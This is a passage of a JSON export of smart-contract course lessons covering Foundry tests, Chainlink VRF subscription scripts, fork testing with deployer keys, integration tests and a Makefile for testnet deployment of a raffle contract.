interacts with the link token transfers in a different way than the actual contract, hence the mock's funding subscription mechanism is different.\n\nWhen you're testing your code on your local chain, you can call the `VM_Start_Broadcast` function before and `VM_Stop_Broadcast` function after the line of code which contains the `fundSubscriptionUsingConfig` method.\n\n```js\nif (subscriptionId == 0) {\n CreateSubscription createSubscription = new CreateSubscription();\n subscriptionId = createSubscription.createSubscription(\n vrfCoordinatorV2,\n deployerKey\n );\n\n FundSubscription fundSubscription = new FundSubscription();\n fundSubscription.fundSubscription(\n vrfCoordinatorV2,\n subscriptionId,\n link,\n deployerKey\n );\n }\n\n```\n\nFinally, compile all the contracts using forge build. If everything compiles successfully, your contract has been created and is ready to perform transactions!\n\n## A Final Comment\n\nThe above steps outline a process whereby you can automate the process of funding blockchain-based subscriptions. Remember, this is not the final product, but an intermediary step in the development of a blockchain-based subscription service. Please do not use this code in a production environment without further testing and validation.\n\nRemember, it's always better to test your code in a secure environment before deploying it. The world of coding is vast, and there's so much more to explore. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "f29c650a-74b8-4a00-8fb2-b3aa5b81c732", + "number": 25, + "slug": "add-consumer", + "title": "Adding a consumer", + "description": "Focusing on adding a consumer to a subscription, this lesson explains the process of adding a consumer contract to a Chainlink VRF subscription, using scripting to simplify the deployment and management.", + "duration": 10, + "videoUrl": "QGsT102y00B9rDAzkUNB00iu6ncciF7SeRpNo83naAcH7Y", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/25-add-consumer/+page.md", + "markdownContent": "***\n\n## title: Add Consumer\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n## Adding the Consumer\n\nWe can execute code snippets similar to the ones we used earlier while adding the consumer.\n\n```shell\ncontract AddConsumer is Script {}}\n```\n\nTo add a consumer, we need to write the `addConsumer` function, which will do most of the operations we've previously executed.\n\n```javascript\nfunction addConsumer(\n address contractToAddToVrf,\n address vrfCoordinator,\n uint64 subId,\n uint256 deployerKey\n ) public {\n console.log(\"Adding consumer contract: \", contractToAddToVrf);\n console.log(\"Using vrfCoordinator: \", vrfCoordinator);\n console.log(\"On ChainID: \", block.chainid);\n vm.startBroadcast(deployerKey);\n VRFCoordinatorV2Mock(vrfCoordinator).addConsumer(\n subId,\n contractToAddToVrf\n );\n vm.stopBroadcast();\n }\n```\n\nNow we can create a function to create a consumer based on the config like this:\n\n```js\n function addConsumerUsingConfig(address mostRecentlyDeployed) public {\n HelperConfig helperConfig = new HelperConfig();\n (\n uint64 subId,\n ,\n ,\n ,\n ,\n address vrfCoordinatorV2,\n ,\n uint256 deployerKey\n ) = helperConfig.activeNetworkConfig();\n addConsumer(mostRecentlyDeployed, vrfCoordinatorV2, subId, deployerKey);\n }\n```\n\nThis function calls the `addConsumer` function using the subscription ID and the address of the raffle contract. The subscription ID is retrieved from the config while the contract address is passed directly to the function.\n\n## Testing the Script\n\nNow comes the most awaited part - testing our creation! And guess what? It passes with flying colors!\n\nIt's such a thrill to see our creation fare so well. And the best part? We no longer require any manual inputs or interactions with the UI. We've reduced the entire contract deployment and management to just one command. Brilliant, isn't it?\n\n\n\n## On a Concluding Note\n\nKudos on keeping up with this journey! Done for the day and might be feeling overwhelmed at the volume of data thrown at you? Feel free to take a well-earned break.\n\nRemember to savor the win. Pull yourself a pint of ice cream or some sushi, my personal favourite. Come back when your mind is fresh, open and ready to tackle the next set of challenges.\n\nHere's a virtual tap on the back for making it this far. Your effort is really commendable. Keep up the good work and remember to take care of your \"giant muscle\" that is your brain. Don't hesitate to voice your doubts either to your AI buddy or the discussions forum. And remember -\n\n\n\nSee you soon, folks! Keep your queries coming and the enthusiasm flowing.\n", + "updates": [] + }, + { + "lessonId": "c3314def-303b-4994-ac86-0999bf5b7b2f", + "number": 26, + "slug": "more-tests", + "title": "Adding more tests", + "description": "A continuation of developing comprehensive tests for smart contracts, this lesson focuses on enhancing code coverage and efficiency in testing, particularly for the `check upkeep` function.", + "duration": 7, + "videoUrl": "OIMXUhKy6edbKXTIg1xVxuGTKFUgVMWfCSQMVrAXMQ4", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/26-more-tests/+page.md", + "markdownContent": "***\n\n## title: More Tests\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nAlright, welcome back! Let's dive right into writing tests for our smart contracts with an emphasis on code coverage and efficiency. Hope you had a little break because, remember, breaks are essential for productivity and focus. Let's continue with our mission to enhance our test coverage.\n\nRunning `forge coverage` produces somewhat less-than-satisfactory results. So we need to push on and try to ramp up our coverage.\n\n## Check Upkeep Tests\n\nFirst up on our list is the `check upkeep` function from the raffle contract. This crucial method oversees the contract's health, and it's time that we provide solid tests for it. To start, do a bunch of slashes followed by `check upkeep` just to keep things tidy!\n\nRemember, we have numerous scenarios to verify for the `check upkeep` function. For example, the method should return false if the contract lacks a balance, isn't open, or when enough time hasn't passed.\n\n### Scenario I: Test Check Upkeep Returns False When Contract Has No Balance\n\n```js\nfunction testCheckUpkeepReturnsFalseIfItHasNoBalance() public {\n // Arrange\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n\n // Act\n (bool upkeepNeeded, ) = raffle.checkUpkeep(\"\");\n\n // Assert\n assert(!upkeepNeeded);\n }\n```\n\nIn this particular test, we're mainly focused on the scenario where the contract doesn't have a balance. We're ensuring that all other conditions are met and verifying that lacking balance results in the function returning false.\n\nWe arrange our test by ensuring that sufficient time has passed by implementing `VM.warp` with the current `block.timestamp`, increased by the `interval`, then some and carry out `VM.roll` with `block.number + 1`.\n\nThe act section employs the `checkUpkeep` method and assigns the result to the `upkeep_needed` variable. Finally, we assert that not `upkeep_needed` equals true, confirming that the function returns false in this scenario.\n\n### Scenario II: Test Check Upkeep Returns False When Raffle Isn't Open\n\n```js\nfunction testCheckUpkeepReturnsFalseIfRaffleIsntOpen() public {\n // Arrange\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n raffle.performUpkeep(\"\");\n Raffle.RaffleState raffleState = raffle.getRaffleState();\n // Act\n (bool upkeepNeeded, ) = raffle.checkUpkeep(\"\");\n // Assert\n assert(raffleState == Raffle.RaffleState.CALCULATING);\n assert(upkeepNeeded == false);\n }\n```\n\nThe second scenario we're testing looks at the situation where the raffle isn't open. We arrange this by first entering the raffle with a stipulated entrance fee, after pretending to be the player with `VM.frank(player)`. We then kick off `performUpkeep` to initiate the calculating mode. Our function should return false at this point because the raffle is in the calculating state.\n\nOnce again, the `act` section involves running the `checkUpkeep` method, and we use `assert(upkeepNeeded == false);` or `assert not upkeep_needed` to confirm our expectation in the `assert` section.\n\n### More Tests and Debug Mode\n\nWe still have more tests to write, and to get a clearer idea of the coverage required; consider running `forge coverage` in debug mode. This command will generate an output telling you exactly which lines haven't been covered.\n\n```bash\nforge coverage --report debug > coverage.txt\n\n\n```\n\nBy outputting the report into a file called `coverage.txt`, we can then review the generated report. This output details the precise lines of code not covered for each section.\n\n## Challenge\n\nNow that you're well-versed in the dynamics of testing for contract health, I challenge you to write two more tests:\n\n1. `function testCheckUpkeepReturnsFalseIfEnoughTimeHasntPassed`: This checks if enough time has passed before performing assertions.\n\nFeel free to compare these tests with the ones available on the linked GitHub repository for this course. Happy testing!\n", + "updates": [] + }, + { + "lessonId": "6b573f84-8ab8-4eec-881f-c0d71cf12ca9", + "number": 27, + "slug": "test-and-refactor-perform-upkeep", + "title": "Testing and refactoring the performUpkeep", + "description": "This lesson delves into writing tests for the `performUpkeep` function, emphasizing the need for thorough testing and refactoring to ensure the reliability and efficiency of smart contracts.", + "duration": 5, + "videoUrl": "fhrhDlr9zhguGrNMuLSyr101mMMARv02q9yasYvN9YrV8", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/27-perform-upkeep/+page.md", + "markdownContent": "***\n\n## title: Perform Upkeep\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nToday we'll be specifically digging into `PerformUpkeep` tests. Writing and testing functions within your code are vital to a healthy codebase. This post will walk you through the process, step-by-step, using JavaScript, making sure to cover every detail the original transcript provides.\n\n## Function Test: `Perform Upkeep` can only run if `check upkeep` is true\n\nOur journey starts with the function test `Perform Upkeep can only run if check upkeep is true`. Here's how you should go about it:\n\n```javascript\nfunction testPerformUpkeepCanOnlyRunIfCheckUpkeepIsTrue() public {\n // Arrange\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n\n // Act / Assert\n // It doesnt revert\n raffle.performUpkeep(\"\");\n }\n```\n\nTo validate this function, you simply need to run it since, in Foundry, there's no `expect not revert`. Thus, if the transaction doesn't revert, the test is considered to be passed. Here's how:\n\n```shell\nforge test -m testPerformUpkeepCanOnlyRunIfCheckUpkeepIsTrue\n```\n\nIf everything is set correctly, your test will pass. If for example, some parameters were commented out, it would inevitably fail because the `Perform upkeep` would fail. This prompts an error message stating 'Raffle upkeep not needed'.\n\n\n\nThe completion of these steps has yielded a well-rounded test that allows you to screen for potential errors. To run this final version, you need to open your terminal and run the following command:\n\n```shell\nforge test -m [paste your function here]\n```\n\nOur programming journey, although complex, is also exciting. Stride forward with confidence, knowing that every error is a stepping stone to more robust code.\n", + "updates": [] + }, + { + "lessonId": "63c994b2-6e8e-4c73-ab50-1b4ec593c5c1", + "number": 28, + "slug": "event-data", + "title": "Refactoring events data", + "description": "A guide to refining the use of emitted events in smart contracts, this lesson covers extracting and utilizing event data, with a focus on testing and improving code efficiency.", + "duration": 9, + "videoUrl": "KRsJQ7Djvo2KWlCBjZ3Xa02gw4lijeN8SEoi01KF02VecI", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/28-event-data/+page.md", + "markdownContent": "***\n\n## title: Getting Event Data Into Foundry\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n## Part 1: Emit - Necessary or Redundant?\n\nConsider this situation: We have a function, `performUpkeep`, and we want to learn more about it by giving it an extra emit. We'll write an event `requestedRaffleWinner`. This event will get emitted when we call the `performUpkeep` function, with an associated variable, Request ID.\n\nBut wait, is this redundant?\n\nThe way to find out if this is redundant or necessary is by checking our existing contract. We'll look up the `VRFCoordinatorMock` function and search for `requestRandomWords`. If there is an event `randomWordsRequested` which already includes the 'Request ID', then emitting the Request ID again would indeed be redundant.\n\nHowever, in this article, we'll follow through with the redundancy to simplify our testing process.\n\n\n\nEven though this might seem like lousy form, retreading this process is crucial, especially when we test for outputs from events. A prime example is the ChainlinkVRF, which functions by listening to this event that gets emitted.\n\n## Part 2: Writing Tests and Refactoring\n\nNow that we've covered the grounds, let's head straight into writing test cases for `Perform Upkeep` and refactor some parts of our code to improve efficiency.\n\nWe'll start with a Function Test for Perform Upkeep and declare it as Public. Then we do the same with VM Warp and VM Roll―quite repetitive, isn't it? Ideally, these should be refactored into a modifier to reduce redundancy and enhance code readability.\n\nHere's our new modifier `RaffleEnteredAndTimePassed`:\n\n```js\nmodifier raffleEntered() {\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n _;\n }\n\n```\n\nThen, we move right along to create our raffle. The intent is to capture the emitted request ID, which is not accessible by the Raffle Contract. From here, we need to learn how to get the output of these events while testing.\n\nFor that, we use our trusty friend, `recordLogs`. This function records all emitted events, which we can then access using `getRecordedLogs`.\n\nOur next step is to introduce a new type of list to store the emitted events― `Vm.Log Array`.\n\n```js\n Vm.Log[] memory entries = vm.getRecordedLogs();\n```\n\nAgain, to make use of `Vm`, you'll have to import it from `forge-std/Vm.sol`.\n\n## Part 3: Request ID & Working with Emitted Events\n\nNow that we have our recorded logs, we can extract the Request ID using this list of emitted events.\n\nNow remember, this list contains all the events that were emitted during the process. Therefore, understanding the transaction and recognizing the events is crucial in this step.\n\nUsing the debugger, we skip ahead and identify that our requested event 'Raffle Winner' is the second event emitted in this transaction.\n\n```js\nbytes32 requestId = entries[1].topics[1];\n```\n\nThe zeroth index would refer to the event `randomWordsRequested` in the mock. The first index refers to our requested event.\n\nThe last step involves creating a True/False condition to confirm if the Request ID was correctly generated.\n\n```js\nassert(uint256(requestId) > 0);\n```\n\nThus, ensuring the Request ID is not default and zero.\n\nFor a more foolproof test, also check the Raffle state equals one for calculating, increasing the robustness of your function.\n\nFinally, when you run the test cases in your terminal, you should get successful outputs.\n\n## Congrats\n\nThat's all for now, developers. Keep on coding—until next time!\n", + "updates": [] + }, + { + "lessonId": "6ee77112-cfa6-4c19-837e-7efcb03f8faf", + "number": 29, + "slug": "intro-smart-contract-fuzz-testing", + "title": "Intro to fuzz testing", + "description": "Introducing fuzz testing in blockchain development, this lesson explores using random inputs for testing smart contracts, emphasizing the importance of mock functions and fuzz testing for secure and stable systems.", + "duration": 4, + "videoUrl": "OGNfkAh3801pIwXP6TrSJNPHrGPCL01rvapuHTiz501meE", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/29-intro-fuzz-testing/+page.md", + "markdownContent": "***\n\n## title: Intro to Fuzz Testing\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nIn this lesson, we will dive deep into the world of testing in blockchain development, focusing on using \"mock functions\" and a technique called \"fuzz testing.\" These tools are essential for ensuring that your code is functioning as expected and you're creating a secure, stable system.\n\n## Understanding Mock Functions\n\nFirst, let's dig into the concept of using a mock function for our tests.\n\n```java\nfunction testFulfillRandomWordsCanOnlyBeCalledAfterPerformUpkeep()\n public\n raffleEntered\n skipFork\n {\n // Arrange\n // Act / Assert\n vm.expectRevert(\"nonexistent request\");\n // vm.mockCall could be used here...\n VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(\n 0,\n address(raffle)\n );\n\n vm.expectRevert(\"nonexistent request\");\n\n VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(\n 1,\n address(raffle)\n );\n }\n```\n\nThis script describes a test for a mock functionality we're planning to incorporate into our project. We want to ascertain that the `fulfillRandomWords` function can only be called after `performUpkeep` has been executed. It's crucial that we navigate how the tests operate and how to write such tests that guarantee our systems indeed work.\n\n\n\nIn order to mimic a situation where we actually call `fulfillRandomWords` and observe a failed test, we are going to use another mock function. We will endeavor to make sure that calling `fulfillRandomWords` on the mock invariably reverts.\n\nThis script denotes the process of utilizing the `fulfillRandomWords` function with a fictitious request ID and an address of a consumer. We expect this to fail since `performUpkeep` hasn't been executed yet.\n\n## What is Fuzz Testing?\n\nWhen testing, it's unrealistic to test every single possible variable input to a function, especially when the valid input number is enormous. This is where fuzz testing comes in.\n\nFuzz testing is an approach that helps us generate random inputs to our test. Instead of us inputting manual entries like 0, 1, 2... etc., we utilize a random generator that provides these entries for us.\n\nSo, through the magic of fuzz testing, Foundry will generate random numbers and run this test many times with many random numbers, consistently checking if `nonexistentRequest` error occurs.\n\n```\nforge test -m\n```\n\nRunning this test, we'll find that the function passed, and upon inspecting the test output, we'd get 256 runs, meaning that Foundry generated 256 random numbers and ran the test with those parameters.\n\nThese techniques — mocking and fuzz testing, come in handy when upping the security of your contract and improving your testing skills. If any of these concepts don't yet fully make sense, don't fret.\n\nThe goal isn't to perfect the art immediately but to gradually become familiar with the use of smart tests in your smart contracts and get better over time. As always, continue experimenting and happy testing!\n\n\n", + "updates": [] + }, + { + "lessonId": "0e5e5907-79e4-44a5-810b-b2cc31b46b3f", + "number": 30, + "slug": "one-big-test", + "title": "One Big Test", + "description": "This lesson focuses on creating a comprehensive function test for a Raffle contract in a blockchain environment, covering the entire lifecycle of a raffle including entry, drawing, and prize distribution, and integrating Chainlink VRF in a test environment.", + "duration": 11, + "videoUrl": "7S6LXlkhvpNCC9JHiZkKcO8OoXwP02p022fp5Y2zo6hO00", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/30-one-big-test/+page.md", + "markdownContent": "***\n\n## title: One Big Test\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nToday, we delve into the function-testing sphere of smart contract development by focusing on our Raffle contract functionality.\n\nThis guide will explore the construction and execution of extensive functionality tests through writing a big, novel function in a smart contract.\n\n## Constructing the Test Function\n\nLet's start off by creating a function titled `testFulfillRandomWordsPicksAWinnerResetsAndSendsMoney`.\n\nThis function will simulate a complete raffle lifecycle in a public setting. We'll adhere to our contract rules; enter the lottery several times, speed up the time, and operate routine maintenance. We also include a call to the Chainlink node to procure a random number.\n\nHere is what the function set-up looks like:\n\n```js\n function testFulfillRandomWordsPicksAWinnerResetsAndSendsMoney()\n public\n raffleEntered\n skipFork\n {}\n```\n\n## Mocking the Chainlink VRF\n\nWithin this function, an important call to the `fulfillRandomWords` function occurs. However, the intricacies of running on a local fake chain require us to impersonate the Chainlink VRF to call `fulfillRandomWords`.\n\n\n\nConsequently, we work within our local test environment and set up a pretend Chainlink node to call `fulfillRandomWords`.\n\n## Adding Multiple Lottery Entries\n\nOnce this is set up, we add multiple entries to the lottery. We start with five additional entrants and a starting index of one because index zero does not apply here.\n\n```js\n // Arrange\n uint256 additionalEntrances = 3;\n uint256 startingIndex = 1;\n\n```\n\nTo make our raffle interesting, we create random entrants and generate unique addresses for each. We proceed to give each of them 1 ether using the Hoax cheat code and let them join the raffle.\n\nIn code, this looks like:\n\n```js\n for (\n uint256 i = startingIndex;\n i < startingIndex + additionalEntrances;\n i++\n ) {\n address player = address(uint160(i));\n hoax(player, 1 ether); // deal 1 eth to the player\n raffle.enterRaffle{value: raffleEntranceFee}();\n }\n```\n\n## Engaging the Chainlink VRF\n\nNow that we have a raffle filled with players, it's time to call in Chainlink VRF to generate a random number which we then use to pick a winner. We then assert various conditions to ensure all elements of the raffle have been reset and the winner is given the prize money.\n\n## Debugging Failing Tests\n\nDuring the initial test run, we faced an assertion violation. When writing code, it's inevitable that you'll encounter debugging issues. In our case, the issue originated from a balance comparison discrepancy due to not considering the entry fee paid by the player.\n\nWhen revising our test, we accounted for the entrance fee and once we implemented those changes, our test yielded a pass result.\n\nOur final test function may look a bit daunting at first, but each step within it serves important functionality and ensures our contract behaves as expected. And there you have it, a full testing function for entering, drawing, and resetting a raffle!\n\nBut we're not quite done yet; testing the coverage of our contract revealed a percentage coverage, with room for improvement. However, it was significantly better than the initial coverage. Despite this, our journey towards perfect function coverage continues...\n\nThis is how the final test looks like:\n\n```js\nfunction testFulfillRandomWordsPicksAWinnerResetsAndSendsMoney()\n public\n raffleEntered\n skipFork\n {\n address expectedWinner = address(1);\n\n // Arrange\n uint256 additionalEntrances = 3;\n uint256 startingIndex = 1; // We have starting index be 1 so we can start with address(1) and not address(0)\n\n for (\n uint256 i = startingIndex;\n i < startingIndex + additionalEntrances;\n i++\n ) {\n address player = address(uint160(i));\n hoax(player, 1 ether); // deal 1 eth to the player\n raffle.enterRaffle{value: raffleEntranceFee}();\n }\n\n uint256 startingTimeStamp = raffle.getLastTimeStamp();\n uint256 startingBalance = expectedWinner.balance;\n\n // Act\n vm.recordLogs();\n raffle.performUpkeep(\"\"); // emits requestId\n Vm.Log[] memory entries = vm.getRecordedLogs();\n bytes32 requestId = entries[1].topics[1]; // get the requestId from the logs\n\n VRFCoordinatorV2Mock(vrfCoordinatorV2).fulfillRandomWords(\n uint256(requestId),\n address(raffle)\n );\n\n // Assert\n address recentWinner = raffle.getRecentWinner();\n Raffle.RaffleState raffleState = raffle.getRaffleState();\n uint256 winnerBalance = recentWinner.balance;\n uint256 endingTimeStamp = raffle.getLastTimeStamp();\n uint256 prize = raffleEntranceFee * (additionalEntrances + 1);\n\n assert(recentWinner == expectedWinner);\n assert(uint256(raffleState) == 0);\n assert(winnerBalance == startingBalance + prize);\n assert(endingTimeStamp > startingTimeStamp);\n }\n\n```\n\nIn conclusion, writing a successful test suite is an iterative process, whether it's adjusting code or debugging errors, achieving a fully functional contract with a high coverage is definitely a satisfying feat!\n\nGreat job for sticking with it thus far, and happy coding!\n", + "updates": [] + }, + { + "lessonId": "c19283e4-ea96-419c-ae38-49d3ad8dfb3b", + "number": 31, + "slug": "passing-private-key", + "title": "Forked test environment and dynamic private keys", + "description": "A guide on running tests in a forked test environment, addressing the challenges and solutions related to deployer identification. It covers the dynamics of testing smart contracts on different blockchain environments and the importance of dynamic deployer keys.", + "duration": 15, + "videoUrl": "alBxr5umSZQKvtoeM02wa02wgzomKvr77G802i3EMzqKl00", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/31-passing-private-key/+page.md", + "markdownContent": "***\n\n## title: Passing the Private Key in\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n## Setting up the Fork Test\n\nThe goal is to try running our tests on a **forked test environment**. Before that, we have successfully run it on our local environment, the anvil. But now, we want to see how our code performs when running on a fork test. Depending on your expectation, jot down what you think would happen.\n\n```bash\nforge test --fork-url $SEPOLIA_RPC_URL\n```\n\nNow, if your prediction was an error message, then you are correct! We got an error right during setup. But why is this failing? Let's dive deeper into this.\n\n### Analyzing the Error\n\nWhen we run our forged test with multiple verbosity `-vvvv`, we can see the specific error: `must be sub owner when we try to add a consumer`. This problem arises when our test setup calls `Deployer Run`, which runs our Deploy Raffle and tries to add a consumer with our subscription ID.\n\nThe crux of the issue lies in the identification of the deployer. This error means only the person who launched the subscription can do this. So, to solve this, we need to refactor our code so that it works no matter the environment.\n\n```bash\nforge build\n```\n\n### Resolving the Error - Deployer Identification\n\nTo correct this issue, we need to make `deployer key` dynamic, depending on whether we're in a local or a non-local environment. In a local environment like Anvil, we use a default key whereas on a network like Sepolia we use a real key given by an environment variable.\n\nThis refactoring also involves modifying the Add Consumer to include the `deployer key`. This way, we ensure that we use the same key as the deployer when adding a consumer to start broadcasting.\n\n```bash\nforge test --fork-url $SEPOLIA_RPC_URL\n```\n\nNow, when we run the code, we find two failing tests regarding fulfilling random words after performing upkeep. This is because the actual contract requires different inputs than the local environment.\n\n### Skipping Fork\n\nThe easier way around these final two failing tests is to add a `skip fork` modifier to run these tests only on an anvil chain. There exists another, more complex solution to this; involving the recreation of code to generate the proof and request commitment, essentially replicating much of the codebase of the actual chain-link node. However, as the purpose of this post is to demonstrate testing code failures and rectification, we opted for the simpler solution.\n\n```js\n modifier skipFork() {\n if (block.chainid != 31337) {\n return;\n }\n _;\n }\n\n```\n\nNow that we have added the `skip fork` modifier to prevent these tests from running on a forked setup, we should no longer get an error during the test.\n\nAt this stage, you can uncomment your code to rerun the tests and this time, you should not encounter any error - both on the local and the forked test.\n\nCongratulations, you have now successfully rectified an error on a forked test!\n\n## Coverage Reports\n\nAfter successfully running our tests on both local and forked environments, we then look at our **coverage results**. Coverage testing helps to identify areas of the codebase without test coverage, which are potentially risky and can affect the functionality.\n\n```bash\nforge coverage\n```\n\nThis command generates a coverage report, and once we run it, we see that we have a higher coverage percentage than before. You do have the option to run `forge coverage report` to evaluate in detail the components lacking test coverage.\n\nAs a golden rule, your code is ready to move onto the next stage, or even for an audit only if you are confident about the coverage testing results.\n\n## Conclusion\n\nIn this blog post, we saw how to test code in different environments - the local anvil and a fork environment, and tackled a common error associated with deployer identification. We analyzed, refactored the code, inserted a skip fork modifier, and surveyed our test coverage. Remember that, in software development, it is never about the code working locally, but it's more about its ability to adapt and work well in any environment it may find itself operating in.\n\n\n\nRemember, testing your code under different scenarios and environments is crucial for robust and reliable software delivery. Being comfortable with rewriting, refactoring, and updating your tests is a significant part of your journey as a competent developer.\n\nKeep learning ans we will see you in the next lesson!\n", + "updates": [] + }, + { + "lessonId": "1b90aea4-ceb7-4a6a-9aee-3b5f5301a2c4", + "number": 32, + "slug": "solidity-integration-tests", + "title": "Creating integration tests", + "description": "This lesson transitions from unit testing to integration testing in smart contract development, highlighting the significance of deploying and testing on testnets and mainnets. It offers insights into the practical aspects of ensuring smart contracts function as intended in a live blockchain environment.", + "duration": 4, + "videoUrl": "02fFWO4nEINm9HoXq00XcbH5005DgwIaF98tWxysyzJ02ig", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/32-integration-tests/+page.md", + "markdownContent": "***\n\n## title: Integration Tests\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nYes, you've guessed it correctly. It's another installation on testing! We've discussed unit tests in our previous articles, but today, we're going a notch higher. We are diving deep into integration tests with a special focus on smart contracts. Moreover, we will discover the significance of testnets and their roles in deployment and testing. Let's get into it!\n\n## The Transition from Unit to Integration Tests\n\nI know, we just covered unit tests, but we're not even close to done. The world of testing in blockchain development is wide, and it's split into categories. To begin with, there are unit tests, and then we transition into our focus for today: integration tests.\n\nIntegration tests involve testing our deploy scripts along with various components of our smart contracts. This way, we ensure that each piece of the puzzle fits together to form our desired application or system. Exciting, right?\n\nLet's jump into some coding. To move our interactions test (test.sol) to integration, simply grab it and move it up into the integration section.\n\n\n\nAnd there you have it! You're now working in the realm of integration tests!\n\n\n\n## Flying with Testnets\n\nAs opposed to just performing unit and integration tests, it's also worth considering whether you should deploy your smart contracts to a testnet or even a mainnet. By doing so, you expose your contracts to a live environment. This will help you understand the real-life performance of your contract.\n\nSome people would even go as far as deploying their contracts to [Polygon](https://polygon.technology/), a cheap live network, to test their contracts in a production environment.\n\nCoincidentally, some blockchain networks like [Polkadot](https://polkadot.network/) have their unique staging blockchain known as Kusama.\n\n\n\n## Writing and Running Integration Tests\n\nNow, let's write some integration tests and run the deploy script. You'll have a chance to see the lottery in action on a testnet.\n\nRemember, seeing is often believing, but testnets can sometimes be fickle. They can test your patience, but seeing your contract perform in a testnet environment can be a solid reassurance that it works!\n\n## Considerations and Conclusion\n\nWith testing, it's essential to be thorough, but we should also consider the limitations of our testing environments. For instance, Foundry, though a fantastic framework for smart contract testing, can be a bit challenging when dealing with off-chain systems. That's why we're skipping a lot of staging tests.\n\nHowever, fear not! With a well-done job on unit and integration tests, we're off to a great start. Here's where I leave it to you. Try running the test suite ensuring the deploy raffle is all green, and if you're feeling ambitious, aim to get that interactions test suite up and running as well.\n\nHappy testing!\n", + "updates": [] + }, + { + "lessonId": "a5038a9e-e70b-4db1-b087-a1c9855e7a5d", + "number": 33, + "slug": "testnet-demo", + "title": "Deploy the lottery on the testnet pt.1", + "description": "In this lesson, learners are guided through deploying a smart contract onto a testnet, using a Makefile for automation, and interacting with the live contract on Etherscan. It emphasizes the real-world application and testing of smart contracts.", + "duration": 8, + "videoUrl": "n7juTmKjwPTi8xWGQ3XmE4pu2LCCWPITxZIl4Uo2BNQ", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/33-testnet-demo/+page.md", + "markdownContent": "***\n\n## title: Testnet Demo with a Makefile\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nThe value of testing cannot be overstated when it comes to developing robust and reliable code. We've been discussing the importance of intensive testing, but today, we will explore whether the code we've been testing actually works on a real main net, or a real test net. Let's dive right in!\n\n## Let's Run Our Forge Script\n\nUsually, we'd opt to run our forge script to verify if our test data holds up on actual main or test nets. However, in this case, we're taking a slightly different route because we can automate this process using a `Makefile`.\n\n```makefile\n-include .env\n\n.PHONY all test deploy\n\n```\n\n## Automating Tasks with Makefile\n\nThe idea behind using a Makefile is to define all the commands we want to execute in our file. Including `env` allows our Makefile to be aware of our EMV environment variable. The `phony` all test deploy ensures that these are targets for our Makefile.\n\n### Adding a Help Function to Our Makefile\n\nA Makefile can get complicated as we add more commands and scripts. To help newbies or even ourselves in the future, we can add a small `help` command that explains how to use the Makefile.\n\n```makefile\n help: @echo \"Usage:\"\n @echo \"make deploy [ARGS=...]\"\n```\n\nCalling `make help` in the terminal will now provide a quick usage guide. Pro-tip: make sure to spell 'usage' correctly!\n\n## Building the Project\n\nIn the Makefile, adding a target `build` allows us to compile or build our project with `make build` or `forge build`. Remember, `:` and `;` mean the command is equivalent to a new line command.\n\n```makefile\nbuild:; forge build\n```\n\nThe Makefile will produce an error if we haven't set the version of solidity in the 'interaction test t sol file. Therefore, we do that with `Pragma solidity 0.8.18 build`.\n\n## Installing Dependencies\n\nWe also need to add an `install` command in the Makefile. This function lets anyone who clones our project know what dependencies they need to install. Here's how you can add this to your Makefile:\n\n```makefile\ninstall :; forge install Cyfrin/foundry-devops@0.0.11 --no-commit && forge install smartcontractkit/chainlink-brownie-contracts@0.6.1 --no-commit && forge install foundry-rs/forge-std@v1.5.3 --no-commit && forge install transmissions11/solmate@v6 --no-commit\n```\n\nAs we want the resultant text to be clean, we can use the 'toggle word wrap' option. This operation wraps any long command into multiple lines, giving the appearance of multiple different lines, whereas it technically remains a single line command.\n\nPulling up the terminal with `make install` reinstalls all the packages we ran with `forge install`, aiding efficiency of our process.\n\n## The Test and Deploy Targets\n\nHere, we add a `test` target, a necessary function in our Makefile, which simply calls `forge test.` Then, we define the `deploy` target.\n\n```makefile\ntest :; forge test\ndeploy:\n\t@forge script script/DeployRaffle.s.sol:DeployRaffle $(NETWORK_ARGS)\n```\n\nThis makes our deployment process easier and organized as opposed to running a giant line command each time we need to deploy our contracts. Note that `forge script` followed by the path tells Foundry to use the `run` function in whichever contract we've specified.\n\n\n\n## If Else Statement in Makefile\n\nWe want our Makefile to select a different chain based on the ARGS we pass. Thus, we define an `if else` statement that checks for network Sepolia. If it exists, the Makefile uses Sepolia; otherwise, it defaults to Anvil.\n\n```makefile\nifeq ($(findstring --network sepolia,$(ARGS)),--network sepolia)\n\tNETWORK_ARGS := --rpc-url $(SEPOLIA_RPC_URL) --private-key $(PRIVATE_KEY) --broadcast --verify --etherscan-api-key $(ETHERSCAN_API_KEY) -vvvv\nendif\n```\n\nWe can verify if this works by running `make deploy` in the terminal, which should display the actual script output. Suppose we choose not to pass the network, Anvil will be selected by default. Adding \"@\" prevents the command from being printed, thus protecting the security of our private key.\n\n## Conclusion\n\nTesting may seem tedious and kind of 'too much hassle' to put into our efforts, but it's worth it. 